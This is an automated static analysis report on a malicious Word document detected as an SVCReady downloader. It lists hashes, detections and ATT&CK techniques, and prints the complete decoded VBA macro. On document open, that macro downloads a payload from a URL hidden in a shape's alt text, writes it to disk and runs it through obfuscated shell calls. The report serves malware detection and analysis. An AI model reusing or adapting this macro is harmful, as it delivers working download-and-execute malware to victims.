Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cc17289f5af83204…

MALICIOUS

Office (OOXML)

113.1 KB Created: 2020-07-20 08:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: d59a4ff1dc6a44794f7139f654f0754b SHA-1: 74134f7a28ef0b377ad6e518af8e13722266d581 SHA-256: cc17289f5af8320473f104037b4e0f431a061fe0d7ba62d6fce35009cd808017
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, including an AutoOpen subroutine, which is a common technique for executing malicious code upon document opening. The script utilizes WScript.Shell to execute a command, which is likely responsible for downloading and running a secondary payload. The reconstructed string 'cb:a\fp4r4obgdr8a0m2dba6t9ae\4737f7e93.1japbg6' is used in conjunction with the shell execution, suggesting it's part of the payload delivery mechanism.

Heuristics 8

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    e2144357 ff24bb68(c11ee1b4), b60d069a
    Set faec0325 = CreateObject("wscript.shell")
    Call faec0325.exec(d4ed51c9 & " " & ff24bb68(c11ee1b4))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    e2144357 ff24bb68(c11ee1b4), b60d069a
    Set faec0325 = CreateObject("wscript.shell")
    Call faec0325.exec(d4ed51c9 & " " & ff24bb68(c11ee1b4))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub AutoOpen()
    Dim e538de68 As New d9a57f13
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3295 bytes
SHA-256: ff5512d04931c82b03e2148121c76b09510dec07e1c5b4a8e7ad1b7e099e2a2b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "c6ba3237"
Public Const c11ee1b4 As String = "cb:a\fp4r4obgdr8a0m2dba6t9ae\4737f7e93.1japbg6"
Function bac29bac()
bac29bac = ActiveWindow.DisplayHorizontalScrollBar
End Function
Function ea21d096()
ea21d096 = ActiveWindow.DisplayRulers
End Function
Sub AutoOpen()
Dim e538de68 As New d9a57f13
aaa = ff24bb68(dbbb5f26)
b60d069a = e538de68.c0937b2d(aaa, "")
e2144357 ff24bb68(c11ee1b4), b60d069a
Set faec0325 = CreateObject("wscript.shell")
Call faec0325.exec(d4ed51c9 & " " & ff24bb68(c11ee1b4))
End Sub

Attribute VB_Name = "d580001f"
Function ce199324()
ce199324 = ActiveWindow.DisplayRulers
End Function
Function f5e2b42b()
f5e2b42b = False
End Function
Sub e2144357(b424a234, cc7c5cb6)
Dim dfe0da05
dfe0da05 = FreeFile
Open b424a234 For Output As #dfe0da05
Print #dfe0da05, fa6c18a0(cc7c5cb6)
Close #dfe0da05
End Sub
Function b3124bf4(df22245d, b881189a)
b3124bf4 = Mid(df22245d, b881189a, 1)
End Function
Function ce6f3d05()
ce6f3d05 = ActiveWindow.Selection
End Function
Function c9420a37()
c9420a37 = Application.ActiveDocument.ActiveWindow
End Function
Function ff24bb68(af01ac7d)
For b881189a = 1 To Len(af01ac7d) Step 2
c2ca9be5 = c2ca9be5 & b3124bf4(af01ac7d, b881189a)
Next
ff24bb68 = c2ca9be5
End Function
Function a06ad8c4()
a06ad8c4 = ActiveWindow.Hwnd
End Function
Function f309a348()
f309a348 = ActiveWindow.Creator
End Function
Sub b1a8861e()
End Sub
Function c55cbd79()
c55cbd79 = Application.ActiveDocument.ChartDataPointTrack
End Function
Function dbd74a61()
dbd74a61 = Application.ActiveDocument.ChartDataPointTrack
End Function
Function fa6c18a0(cc7c5cb6)
fa6c18a0 = StrConv(cc7c5cb6, 64)
End Function
Function d3d35dad()
d3d35dad = ActiveWindow.DisplayRulers
End Function
Function ec47e177()
ec47e177 = ActiveWindow.Creator
End Function
Function dbbb5f26()
dbbb5f26 = ActiveDocument.Shapes(1).AlternativeText
End Function
Function af64ee14()
af64ee14 = Application.ActiveDocument.ClickAndTypeParagraphStyle
End Function
Function e91f015b()
e91f015b = 31231.43223386
End Function
Function d4ed51c9()
d4ed51c9 = ff24bb68("rbe4g5s0v4rd322b")
End Function

Attribute VB_Name = "d9a57f13"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function d7f29a5a()
d7f29a5a = ActiveWindow.Selection
End Function
Function f6bc2a49()
f6bc2a49 = ActiveWindow.Document
End Function
Function c0937b2d(d597f89b, aee0c332)
Dim f03c3bc8 As Object
Set f03c3bc8 = New MSXML2.XMLHTTP60
Call f03c3bc8.Open("GET", d597f89b, False)
f03c3bc8.Send
c0937b2d = f03c3bc8.responsebody
End Function
Function e7b88c8a()
e7b88c8a = ActiveWindow.StyleAreaWidth
End Function
Function df49b5af()
df49b5af = ActiveWindow.Type
End Function
Function b5785f4e(e4b0d931)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: 89291f5fa71cbd85ffdd4a3af016c48318a309a1f7089c77b3ef3ea8c68cd005